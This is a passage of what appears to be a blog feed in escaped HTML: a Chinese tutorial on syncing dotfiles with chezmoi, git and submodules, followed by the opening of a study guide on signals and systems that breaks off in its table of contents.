&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此时实际上 &lt;code&gt;chezmoi cd&lt;/code&gt; 做的事情类似于是:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$SHELL&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;chezmoi source-path&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此当你完成了修改之后, 运行 &lt;code&gt;exit&lt;/code&gt; 回到你刚才的目录.&lt;/p&gt;
&lt;h3 id="git"&gt;git
&lt;/h3&gt;&lt;p&gt;这是 chezmoi 的爽点.&lt;/p&gt;
&lt;p&gt;在 github 创建一个名为 dotfiles 的仓库.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi &lt;span class="nb"&gt;cd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &lt;span class="s2"&gt;&amp;#34;Initial commit&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote add origin git@github.com:&lt;span class="nv"&gt;$GITHUB_USERNAME&lt;/span&gt;/dotfiles.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git branch -M main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push -u origin main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在其他机器上, 安装 chezmoi 之后, 可以直接:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi init git@github.com:&lt;span class="nv"&gt;$GITHUB_USERNAME&lt;/span&gt;/dotfiles.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;非常方便.&lt;/p&gt;
&lt;p&gt;当我在机器 A 更新了配置, 回到机器 B 时, 只需要:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://www.chezmoi.io/reference/commands/update/" target="_blank" rel="noopener"
&gt;chezmoi - commands - update&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="chezmoi-git"&gt;chezmoi git
&lt;/h3&gt;&lt;p&gt;chezmoi 封装了 git 用于便捷管理. 需要添加 &lt;code&gt;--&lt;/code&gt; 来区分 chezmoi 和 git 的参数.&lt;/p&gt;
&lt;p&gt;例如:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi git -- add . &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chezmoi git -- commit -m &lt;span class="s2"&gt;&amp;#34;Update dotfiles&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chezmoi git -- push
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一键创建提交并推送.&lt;/p&gt;
&lt;h3 id="添加其他-git-仓库"&gt;添加其他 git 仓库
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.chezmoi.io/user-guide/include-files-from-elsewhere/#include-a-subdirectory-from-a-git-repository" target="_blank" rel="noopener"
&gt;Include a subdirectory from a git repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;处理先前已经使用 git 管理但并未纳入 chezmoi 管理的仓库, 可以添加配置.&lt;/p&gt;
&lt;p&gt;例如, 我之前已经管理了 &lt;a class="link" href="https://github.com/U1traVeno/nvim.git" target="_blank" rel="noopener"
&gt;nvim.git&lt;/a&gt;, 现在想将它列入 chezmoi 管理中.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi &lt;span class="nb"&gt;cd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nvim .chezmoiexternal.toml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;添加配置:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;.config/nvim&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;git-repo&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;git@github.com:U1traVeno/nvim.git&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;refreshPeriod&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;168h&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi apply -v
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在机器 A 修改：&lt;code&gt;cd ~/.config/nvim&lt;/code&gt; -&amp;gt; &lt;code&gt;git push&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在机器 B 同步：只需运行 &lt;code&gt;chezmoi apply&lt;/code&gt;。它发现距离上次刷新超过 168 小时（或你强制执行 &lt;code&gt;--refresh-externals&lt;/code&gt;），就会自动帮你 &lt;code&gt;git pull&lt;/code&gt; 最新的配置. 或者, 你当然也可以直接在 &lt;code&gt;~/.config/nvim&lt;/code&gt; 下手动拉取更新.&lt;/p&gt;
&lt;h4 id="git-submodule"&gt;git submodule
&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://www.chezmoi.io/user-guide/include-files-from-elsewhere/#use-git-submodules-in-your-source-directory" target="_blank" rel="noopener"
&gt;chezmoi - Include dotfiles from elsewhere&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果不使用配置文件, 可以使用 &lt;code&gt;git submodule&lt;/code&gt; 处理先前已经使用 git 管理但并未纳入 chezmoi 管理的仓库, 但是似乎有点麻烦, 因为每次都要在 chezmoi 里进行修改.&lt;/p&gt;
&lt;p&gt;例如, 我之前已经管理了 &lt;a class="link" href="https://github.com/U1traVeno/nvim.git" target="_blank" rel="noopener"
&gt;nvim.git&lt;/a&gt;, 现在想将它列入 chezmoi 管理中.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 假设你想把配置放在 ~/.config/nvim&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi &lt;span class="nb"&gt;cd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir -p dot_config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git submodule add git@github.com:&lt;span class="nv"&gt;$GITHUB_USERNAME&lt;/span&gt;/nvim.git dot_config/external_nvim
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;If you use git submodules, then you should set the &lt;code&gt;external_&lt;/code&gt; attribute on the subdirectory containing the submodule.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;根据文档, chezmoi 默认会尝试解析源目录下的所有文件。如果 nvim 仓库里有类似 &lt;code&gt;run_test.sh&lt;/code&gt; 的文件，chezmoi 会误把它当成自己的脚本执行.&lt;/p&gt;
&lt;p&gt;加上 &lt;code&gt;external_&lt;/code&gt; 前缀后，chezmoi 会知道这个目录的内容不需要按照它的规则解析，只需原样同步即可&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chezmoi update&lt;/code&gt; 的 &lt;code&gt;--recurse-submodules&lt;/code&gt; 参数默认为 true.&lt;/p&gt;
&lt;p&gt;后续更新 nvim 仓库时, 可以:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi &lt;span class="nb"&gt;cd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; dot_config/external_nvim
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 进行修改...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nvim lua/init.lua
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在同一个目录下直接提交 nvim 的更改：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &lt;span class="s2"&gt;&amp;#34;feat: add new plugin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push &lt;span class="c1"&gt;# 推送到你的 nvim.git 仓库&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;退回到 chezmoi 根目录，更新主仓库对子模块的引用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../.. &lt;span class="c1"&gt;# 回到 chezmoi 根目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add dot_config/external_nvim
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &lt;span class="s2"&gt;&amp;#34;chore: update nvim submodule reference&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push &lt;span class="c1"&gt;# 推送到你的 dotfiles 仓库&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最后 apply&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chezmoi apply
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="chezmoi-diff"&gt;chezmoi diff
&lt;/h3&gt;&lt;p&gt;用于记录一下 &lt;code&gt;chezmoi diff&lt;/code&gt; 令人困惑的地方.&lt;/p&gt;
&lt;p&gt;举例, 现在向 &lt;code&gt;~/.zshrc&lt;/code&gt; 中的 &lt;code&gt;alias t=tmux&lt;/code&gt; 一行的下一行加一个 &lt;code&gt;alias tai=tmuxai&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;perl -i -pe &lt;span class="s1"&gt;&amp;#39;s/^alias t=tmux$/$&amp;amp;\nalias tai=tmuxai/&amp;#39;&lt;/span&gt; ~/.zshrc &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chezmoi diff
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# diff --git a/.zshrc b/.zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# index 37c0ed56fd522ca98688e20412030d8c10be6ddc..593a83770b2b2ee4b61de92b517cc12a02c1f0e0 100600&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --- a/.zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# +++ b/.zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# @@ -151,7 +151,6 @@&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# # alias&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# alias lg=lazygit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# alias t=tmux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -alias tai=tmuxai&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# # exports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# export PATH=&amp;#34;/opt/homebrew/opt/zip/bin:/opt/homebrew/bin:/opt/homebrew/sbin:$PATH&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;chezmoi diff&lt;/code&gt; 返回的结果语义其实很不清晰. 可以理解为: “如果我运行 apply，会对家目录的配置产生什么影响？”&lt;/p&gt;
&lt;p&gt;&lt;code&gt;a/.zshrc&lt;/code&gt; 是源目录(&lt;code&gt;~/.local/share/chezmoi&lt;/code&gt;), &lt;code&gt;b/.zshrc&lt;/code&gt; 是家目录 &lt;code&gt;~/.zshrc&lt;/code&gt;, 即: 如果运行 apply, 会删除 &lt;code&gt;alias tai=tmuxai&lt;/code&gt; 这一行.&lt;/p&gt;
&lt;p&gt;再次运行 &lt;code&gt;chezmoi add ~/.zshrc&lt;/code&gt;, 此时 &lt;code&gt;chezmoi diff&lt;/code&gt; 不会再有输出.&lt;/p&gt;
&lt;pre class="mermaid"&gt;
sequenceDiagram
participant H as home directory
participant W as working copy
participant L as local repo
participant R as remote repo
H-&amp;gt;&amp;gt;L: chezmoi init
H-&amp;gt;&amp;gt;W: chezmoi add $FILE
W-&amp;gt;&amp;gt;W: chezmoi edit $FILE
W--&amp;gt;&amp;gt;H: chezmoi diff
W-&amp;gt;&amp;gt;H: chezmoi apply
H--&amp;gt;&amp;gt;W: chezmoi cd
W-&amp;gt;&amp;gt;L: git add
W-&amp;gt;&amp;gt;L: git commit
L-&amp;gt;&amp;gt;R: git push
W--&amp;gt;&amp;gt;H: exit
&lt;/pre&gt;
&lt;script type="module"&gt;
import mermaid from 'https://cdn.jsdelivr.net/npm/mermaid@11.14.0/dist/mermaid.esm.min.mjs';
mermaid.initialize({ startOnLoad: true, theme: 'neutral' });
&lt;/script&gt;</description></item><item><title>信号与系统速通: 现代视角下的信号与系统理论体系</title><link>https://v3n0.com/post/2026/signals_and_systems/</link><pubDate>Tue, 20 Jan 2026 05:20:19 +0800</pubDate><guid>https://v3n0.com/post/2026/signals_and_systems/</guid><description>&lt;h2 id="序言"&gt;序言
&lt;/h2&gt;&lt;p&gt;本文创建于杭电 2025-2026-1 学期网安的信号与系统期末考试复习时. 全文可能比较长, 实际上是本人三个完整的地球日消化总结的结果.&lt;/p&gt;
&lt;p&gt;文章不会覆盖信号与系统的内容, 仅仅可以被看作导论, 或是叫速通, 因此只会大致描述信号与系统的理论体系怎样用直观而不跳跃的思路得来. 为什么只有这些内容, 因为我是因为期末复习才开始学习信号与系统的.&lt;/p&gt;
&lt;p&gt;什么是跳跃的思路? 实际上教材的思路就是跳跃的思路. 我们学习和发展一个学科的过程是这样的: 我们先用自然语言描述出一些公理, 而我们所有的理论成果都是由公理之间相组合得到的.&lt;/p&gt;
&lt;p&gt;有意思一点的说法是, 如果把这个学科所有可能得到的理论成果视作一个向量空间, 那么公理就是这个向量空间的基向量, 显然我们的向量空间是由我们的基向量张成的. 你如果凭空提出一条公式, 你就不是在研究学科, 而是在创立新的学科. 但这却是目前我们的教材正在做的事情, 是和学习过程相悖的, 跟着这样的教材学出来思路也会是跳跃的思路. 我希望避免这一点.&lt;/p&gt;
&lt;p&gt;本文决定从这样的角度出发, 重新审视信号与系统这门学科应当怎样被重新发现, 并且引出泛函分析可能的历史动机.&lt;/p&gt;
&lt;p&gt;本人也是学生, 希望大家可以一起讨论, 广泛吸取大家的意见.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;截至 2026.1.16, 本文尚未完成, 仅完成至&lt;a class="link" href="#%e6%80%8e%e6%a0%b7%e6%b6%88%e9%99%a4%e6%97%b6%e5%8f%98" &gt;怎样消除时变&lt;/a&gt;章节.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="目录"&gt;目录
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%ba%8f%e8%a8%80" &gt;序言&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e7%9b%ae%e5%bd%95" &gt;目录&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e4%bb%80%e4%b9%88%e6%98%af%e4%bf%a1%e5%8f%b7%e4%b8%8e%e7%b3%bb%e7%bb%9f" &gt;什么是信号与系统&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="#%e8%80%b3%e6%9c%ba%e5%8a%9f%e6%94%be-%e5%a4%a7%e8%af%ad%e8%a8%80%e6%a8%a1%e5%9e%8b-%e4%ba%ba%e7%b1%bb" &gt;耳机功放, 大语言模型, 人类&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e5%af%b9%e4%bf%a1%e5%8f%b7%e5%92%8c%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%8a%bd%e8%b1%a1-%e4%bb%8e%e5%ae%9e%e4%bd%93%e5%88%b0%e5%85%b3%e7%b3%bb" &gt;对信号和系统的抽象: 从“实体”到“关系”&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="#%e6%8f%8f%e8%bf%b0%e7%b3%bb%e7%bb%9f%e7%9a%84%e5%b7%a5%e5%85%b7-%e5%be%ae%e5%88%86%e6%96%b9%e7%a8%8b" &gt;描述系统的工具: 微分方程&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e4%b8%80%e5%ae%9a%e6%98%af%e5%be%ae%e5%88%86%e6%96%b9%e7%a8%8b" &gt;为什么一定是微分方程&lt;/a&gt;
&lt;ul&gt;
